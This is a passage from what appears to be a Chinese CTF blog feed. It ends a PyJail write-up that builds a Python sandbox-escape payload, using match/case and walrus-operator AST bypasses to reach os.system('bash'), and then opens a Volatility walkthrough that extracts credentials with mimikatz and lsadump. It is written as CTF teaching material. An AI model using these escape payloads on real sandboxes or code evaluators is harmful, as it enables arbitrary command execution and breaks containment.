更加强大，除了可以匹配数字字符串之外，还可以匹配字典、对象等。</p><p>最简单的示例，匹配字符串：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">item = <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">match</span> item:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;One&quot;</span>)</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Two&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Two</span></span><br></pre></td></tr></table></figure></div><p>还可以匹配并自动赋值给局部变量，传入 (1,2) 时，会进入第二个分支，并对 x,y 赋值。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">item = (<span class="number">1</span>, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">match</span> item:</span><br><span class="line">    <span class="keyword">case</span> (x, y, z):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;x&#125;</span> <span class="subst">&#123;y&#125;</span> <span class="subst">&#123;z&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">case</span> (x, y):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;x&#125;</span> <span class="subst">&#123;y&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">case</span> (x,):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;x&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>对于基本类型的匹配比较好理解，下面是一个匹配类的示例：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">AClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        self.thing = value</span><br><span class="line"></span><br><span class="line">item = AClass(<span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">match</span> item:</span><br><span class="line">    <span class="keyword">case</span> AClass(thing=x):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Got <span class="subst">&#123;x = &#125;</span>!&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Got x = 32!</span></span><br></pre></td></tr></table></figure></div><p>在这个示例中，重点关注 <code>case AClass(thing=x)</code> ，这里的含义并非是将 x 赋值给 thing，我们需要将其理解为一个表达式，表示匹配类型为 AClass 且存在 thing 属性的对象，并且 <strong>thing 属性值自动赋值给 x。</strong></p><p>这样一来就可以在不适用。号的情况下获取到类的属性值。例如获取  <code>''.__class__</code> ，可以编写如下的 match/case 语句：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">match</span> <span class="built_in">str</span>():</span><br><span class="line">    <span class="keyword">case</span> <span class="built_in">str</span>(__class__=x):</span><br><span class="line">        <span class="built_in">print</span>(x==<span class="string">&#x27;&#x27;</span>.__class__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># True</span></span><br></pre></td></tr></table></figure></div><p>可以看到 x 就是  <code>''.__class__</code> . 因为所有的类都输入 object 类，所以可以使用 object 来替代 str，这样就无需关注匹配到的到底是哪个类。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">match</span> <span class="built_in">str</span>():</span><br><span class="line">    <span class="keyword">case</span> <span class="built_in">object</span>(__class__=x):</span><br><span class="line">        <span class="built_in">print</span>(x==<span class="string">&#x27;&#x27;</span>.__class__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># True</span></span><br></pre></td></tr></table></figure></div><p>再测试一下该 payload 的 AST：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> ast </span><br><span class="line"></span><br><span class="line">a = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">match str():</span></span><br><span class="line"><span class="string">    case str(__class__=x):</span></span><br><span class="line"><span class="string">        print(x)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(ast.dump(ast.parse(a, mode=<span class="string">&#x27;exec&#x27;</span>), indent=<span class="number">4</span>))</span><br></pre></td></tr></table></figure></div><p>AST 如下：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Module(</span><br><span class="line">    body=[</span><br><span class="line">        Match(</span><br><span class="line">            subject=Call(</span><br><span class="line">                func=Name(<span class="built_in">id</span>=<span class="string">&#x27;str&#x27;</span>, ctx=Load()),</span><br><span class="line">                args=[],</span><br><span class="line">                keywords=[]),</span><br><span class="line">            cases=[</span><br><span class="line">                match_case(</span><br><span class="line">                    pattern=MatchClass(</span><br><span class="line">                        cls=Name(<span class="built_in">id</span>=<span class="string">&#x27;str&#x27;</span>, ctx=Load()),</span><br><span class="line">                        patterns=[],</span><br><span class="line">                        kwd_attrs=[</span><br><span class="line">                            <span class="string">&#x27;__class__&#x27;</span>],</span><br><span class="line">                        kwd_patterns=[</span><br><span class="line">                            MatchAs(name=<span class="string">&#x27;x&#x27;</span>)]),</span><br><span class="line">                    body=[</span><br><span class="line">                        Expr(</span><br><span class="line">                            value=Call(</span><br><span class="line">                                func=Name(<span class="built_in">id</span>=<span class="string">&#x27;print&#x27;</span>, ctx=Load()),</span><br><span class="line">                                args=[</span><br><span class="line">                                    Name(<span class="built_in">id</span>=<span class="string">&#x27;x&#x27;</span>, ctx=Load())],</span><br><span class="line">                                keywords=[]))])])],</span><br><span class="line">    type_ignores=[])</span><br></pre></td></tr></table></figure></div><p>可以看到确实没有 Attribute，依据这个原理，就可以绕过 ast.Attribute</p><p>我们可以构造替代  <code>''.__class__.__base__.__subclasses__()</code>  的 payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">match str():</span><br><span class="line">    case object(__class__=clazz):</span><br><span class="line">        match clazz:</span><br><span class="line">            case object(__base__=bass):</span><br><span class="line">                match bass:</span><br><span class="line">                    case object(__subclasses__=subclazz):</span><br><span class="line">                        print(subclazz)</span><br></pre></td></tr></table></figure></div><h4 id="绕过-astassign-赋值变量"><a class="markdownIt-Anchor" href="#绕过-astassign-赋值变量">#</a> 绕过 ast.Assign 赋值变量</h4><p>ast.Assign 无法使用时，我们无法直接使用 = 来进行赋值，此时可以使用海象表达式:= 进行绕过。例如：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">    system:=<span class="number">111</span>,</span><br><span class="line">    bash:=<span class="number">222</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure></div><p>此时 AST 树如下，海象表达式用到的是 ast.NamedExpr 而非 ast.Assign</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Module(</span><br><span class="line">    body=[</span><br><span class="line">        Expr(</span><br><span class="line">            value=<span class="type">List</span>(</span><br><span class="line">                elts=[</span><br><span class="line">                    NamedExpr(</span><br><span class="line">                        target=Name(<span class="built_in">id</span>=<span class="string">&#x27;system&#x27;</span>, ctx=Store()),</span><br><span class="line">                        value=Constant(value=<span class="number">111</span>)),</span><br><span class="line">                    NamedExpr(</span><br><span class="line">                        target=Name(<span class="built_in">id</span>=<span class="string">&#x27;bash&#x27;</span>, ctx=Store()),</span><br><span class="line">                        value=Constant(value=<span class="number">222</span>))],</span><br><span class="line">                ctx=Load()))],</span><br><span class="line">    type_ignores=[])</span><br></pre></td></tr></table></figure></div><h4 id="绕过-astconstant-获取数字-字符串"><a class="markdownIt-Anchor" href="#绕过-astconstant-获取数字-字符串">#</a> 绕过 ast.Constant 获取数字、字符串</h4><p>题目限制了 ast.Constant，所以无法直接使用数字、字符串常量，但通过其他的函数组合可以构造出数字和字符串。 例如：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;</span> : <span class="built_in">str</span>()</span><br><span class="line"><span class="number">0</span>  : <span class="built_in">len</span>([])</span><br><span class="line"><span class="string">&quot;0&quot;</span>: <span class="built_in">str</span>(<span class="built_in">len</span>([]))</span><br><span class="line"><span class="string">&quot;1&quot;</span>: <span class="built_in">str</span>(<span class="built_in">len</span>([<span class="built_in">str</span>()])) 或 <span class="built_in">str</span>(<span class="built_in">len</span>([<span class="built_in">min</span>]))</span><br><span class="line"><span class="string">&quot;2&quot;</span>: <span class="built_in">str</span>(<span class="built_in">len</span>([<span class="built_in">str</span>(),<span class="built_in">str</span>()])) 或 <span class="built_in">str</span>(<span class="built_in">len</span>([<span class="built_in">min</span>,<span class="built_in">max</span>]))</span><br><span class="line"><span class="string">&#x27;A&#x27;</span>: <span class="built_in">chr</span>(<span class="built_in">len</span>([<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>])*<span class="built_in">len</span>([<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>,<span class="built_in">min</span>]))</span><br></pre></td></tr></table></figure></div><p>如果要用数字来构造字符串，通常需要用到 chr 函数，虽然题目的 builtins 没有直接提供 chr 函数，但也可以自己手动实现一个 chr。</p><p>当然，题目 builtins 允许 dict 和 list，因此可以直接用这两个函数直接构造出字符串</p><p>在这个 payload 中，需要构造出 _wrap_close、system、bash</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_wrap_close&quot;</span>][<span class="number">0</span>][<span class="string">&quot;system&quot;</span>](<span class="string">&quot;bash&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>那么就可以通过下面的方式获取到这几个字符串：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">list</span>(<span class="built_in">dict</span>(system=[]))[<span class="number">0</span>]            <span class="comment"># system</span></span><br><span class="line"><span class="built_in">list</span>(<span class="built_in">dict</span>(_wrap_close=[]))[<span class="number">0</span>]       <span class="comment"># _wrap_close</span></span><br><span class="line"><span class="built_in">list</span>(<span class="built_in">dict</span>(bash=[]))[<span class="number">0</span>]              <span class="comment"># bash</span></span><br></pre></td></tr></table></figure></div><h4 id="绕过-astsubscript-获取列表字典元素"><a class="markdownIt-Anchor" href="#绕过-astsubscript-获取列表字典元素">#</a> 绕过 ast.Subscript 获取列表 / 字典元素</h4><p>题目同时限定了 ast.Subscript，因此无法直接使用索引。但 BUILTINS 中给出了 min 函数，该函数可以获取列表中最小的元素，当列表中只有一个元素时，就可以直接取值。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">min</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(system=[])))            <span class="comment"># system</span></span><br><span class="line"><span class="built_in">min</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(_wrap_close=[])))       <span class="comment"># _wrap_close</span></span><br><span class="line"><span class="built_in">min</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(bash=[])))              <span class="comment"># bash</span></span><br></pre></td></tr></table></figure></div><p>如果要获取字典元素，可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素，可以配合 match/case 来获取。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">match</span> <span class="built_in">globals</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="built_in">object</span>(get=get_func):</span><br><span class="line">        get_func(<span class="string">&quot;system&quot;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="绕过-astfor-遍历列表"><a class="markdownIt-Anchor" href="#绕过-astfor-遍历列表">#</a> 绕过 ast.For 遍历列表</h4><p>在构造最终 payload 中，我们还需要在  <code>__subclasses__()</code>  得到的列表中获取到 _wrap_close 类。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_wrap_close&quot;</span>][<span class="number">0</span>][<span class="string">&quot;system&quot;</span>](<span class="string">&quot;bash&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>当列表中不只有一个元素且列表中的元素之间无法比较时，正常情况下可以使用 for 来遍历并判断，但 ast.For 被题目过滤了，此时可以使用 filter，如下所示：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">filter_func</span>(<span class="params">subclazzes_item</span>):</span><br><span class="line">    [ _wrap_close:=<span class="built_in">min</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(_wrap_close=[])))]</span><br><span class="line">    <span class="keyword">match</span> subclazzes_item:</span><br><span class="line">        <span class="keyword">case</span> <span class="built_in">object</span>(_＿name_＿=name):</span><br><span class="line">            <span class="keyword">if</span> name==_wrap_close:</span><br><span class="line">                <span class="keyword">return</span> subclazzes_item</span><br><span class="line">[</span><br><span class="line">    subclazzes_item:=<span class="built_in">min</span>(<span class="built_in">filter</span>(filter_func,subclazzes()))</span><br><span class="line">]</span><br></pre></td></tr></table></figure></div><p>fitler 中使用 match/case 和 if 来进行过滤。</p><p>除了使用 filter 函数外，还可以使用 iter 和 next 函数来遍历列表，但题目 BUILTINS 中没有给出这两个函数。</p><h2 id="end"><a class="markdownIt-Anchor" href="#end">#</a> END</h2><p>贴一个自动化的 Python 沙箱逃逸 payload bypass 框架，不知道将来用不用得到</p><p><a class="link" href="https://github.com/Macr0phag3/parselmouth">GitHub - Macr0phag3/parselmouth <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;pyjail&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#pyjail&quot;&gt;#&lt;/a&gt; PyJail&lt;/h1&gt;
&lt;h2 id=&quot;python的一些特性&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#pytho</summary>
      
    
    
    
    <category term="Misc" scheme="http://example.com/categories/Misc/"/>
    
    
  </entry>
  
  <entry>
    <title>Volatility</title>
    <link href="http://example.com/2024/04/27/Volatility/"/>
    <id>http://example.com/2024/04/27/Volatility/</id>
    <published>2024-04-27T13:21:27.000Z</published>
    <updated>2024-07-04T15:15:13.581Z</updated>
    
    <content type="html"><![CDATA[<h1 id="volatility"><a class="markdownIt-Anchor" href="#volatility">#</a> Volatility</h1><h2 id="先以otterctf为例"><a class="markdownIt-Anchor" href="#先以otterctf为例">#</a> 先以 OtterCTF 为例</h2><h3 id="查看镜像信息"><a class="markdownIt-Anchor" href="#查看镜像信息">#</a> 查看镜像信息</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem imageinfo</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/KXFZGlghQHNO1pV.png" alt="image.png"></p><p>会存在很多镜像，一般第一个就是对的，可以用下面的命令验证</p><h3 id="调出shell窗口"><a class="markdownIt-Anchor" href="#调出shell窗口">#</a> 调出 shell 窗口</h3><p>可以测试你猜测的系统是否正确，正确的话就能 getshell</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 volshell</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/ifqPBN6nQaem9xy.png" alt="image.png"></p><h3 id="获取镜像的用户名密码"><a class="markdownIt-Anchor" href="#获取镜像的用户名密码">#</a> 获取镜像的用户名密码</h3><p>可以使用 hashdump，但得到密码都是哈希加密之后的，使用 lsadump 或者 mimikatz 可以得到明文</p><p>直接利用后两个插件，</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 lsadump</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/agyq4mCIkoNDTxf.png" alt="image.png"></p><p><code>vol.py --plugins=/home/kali/Tools/volatility/volatility/plugins -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 mimikatz</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/KOo1QvPUIL5SlEN.png" alt="image.png"></p><h3 id="获取ip地址"><a class="markdownIt-Anchor" href="#获取ip地址">#</a> 获取 ip 地址</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 netscan</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/xWKpT6HfXEYjmM3.png" alt="image.png"></p><h3 id="获取主机名"><a class="markdownIt-Anchor" href="#获取主机名">#</a> 获取主机名</h3><h4 id="查注册表"><a class="markdownIt-Anchor" href="#查注册表">#</a> 查注册表</h4><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 hivelist</code> 1</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/27/Ru2EskHAVjNKnLS.png" alt="image.png"></p><p>主机名信息在 SYSTEM 的那一条记录中，再用 <code>-o + Virtual printkey</code>  来查看指定的记录</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/zX3WmVt7.png" alt="1714225836369.png"></p><p>跟进 ControlSet001</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K &quot;ControlSet001&quot;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/AmM6lBI3.png" alt="1714225968337.png"></p><p>继续跟进 Control</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K &quot;ControlSet001\Control&quot;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/nrln55Q5.png" alt="1714226095273.png"></p><p>跟进 ComputerName</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K &quot;ControlSet001\Control\ComputerName&quot;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/hytyDofb.png" alt="1714226188973.png"></p><p>继续跟进 ComputerName</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K &quot;ControlSet001\Control\ComputerName\ComputerName&quot;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/VY8kbFyI.png" alt="1714226289670.png"></p><p>到处注册表： <code>hivedump</code></p><h3 id="查看进程"><a class="markdownIt-Anchor" href="#查看进程">#</a> 查看进程</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 pslist</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/9MVecqc2.png" alt="1714227976982.png"></p><p>题目要求找到他玩的游戏，排除认识的程序，找不认识的百度一下，这个 lunarMS 就是答案，还需要找出游戏的服务器 ip，用 grep 正则表达</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/27/VytbGj3H.png" alt="1714231953244.png"></p><h3 id="提取进程"><a class="markdownIt-Anchor" href="#提取进程">#</a> 提取进程</h3><p>1.memdump 将进程以 dmp 文件保存</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D /home/kali</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/y5fOqc3A.png" alt="1714273354650.png"></p><p>在利用 strings 提取字符串找到游戏账号</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/lxorhNOd.png" alt="1714273819021.png"></p><p>2. 提取完整进程</p><p>用 procdump 提取</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 procdump -p 3720 -D /home/kali</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/wiWQTqG0.png" alt="1714276933594.png"></p><h3 id="查看剪切板"><a class="markdownIt-Anchor" href="#查看剪切板">#</a> 查看剪切板</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 clipboard</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/OG2gk9ul.png" alt="1714274863169.png"></p><p>获得邮箱</p><h3 id="查看进程树"><a class="markdownIt-Anchor" href="#查看进程树">#</a> 查看进程树</h3><p>题目要求找到恶意程序</p><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 pstree</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/cWd85PrG.png" alt="1714275093047.png"></p><p>可以用 dlllist 查看一下进程相关的 dll 文件列表</p><h3 id="查看dll文件列表"><a class="markdownIt-Anchor" href="#查看dll文件列表">#</a> 查看 dll 文件列表</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/GVnk8dUj.png" alt="1714275458700.png"></p><p>运行在 temp 中，不太正经，就是题目答案</p><h3 id="扫描文件"><a class="markdownIt-Anchor" href="#扫描文件">#</a> 扫描文件</h3><p><code>vol.py -f /home/kali/Desktop/OtterCTF.vmem --profile=Win7SP1x64 filescan |grep &quot;Rick And Morty&quot;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/28/6P7Ze8HX.png" alt="1714276122628.png"></p><h2 id="volpy"><a class="markdownIt-Anchor" href="#volpy">#</a> <a class="link" href="http://vol.py">vol.py <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -h</h2><div class="highlight-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br></pre></td><td 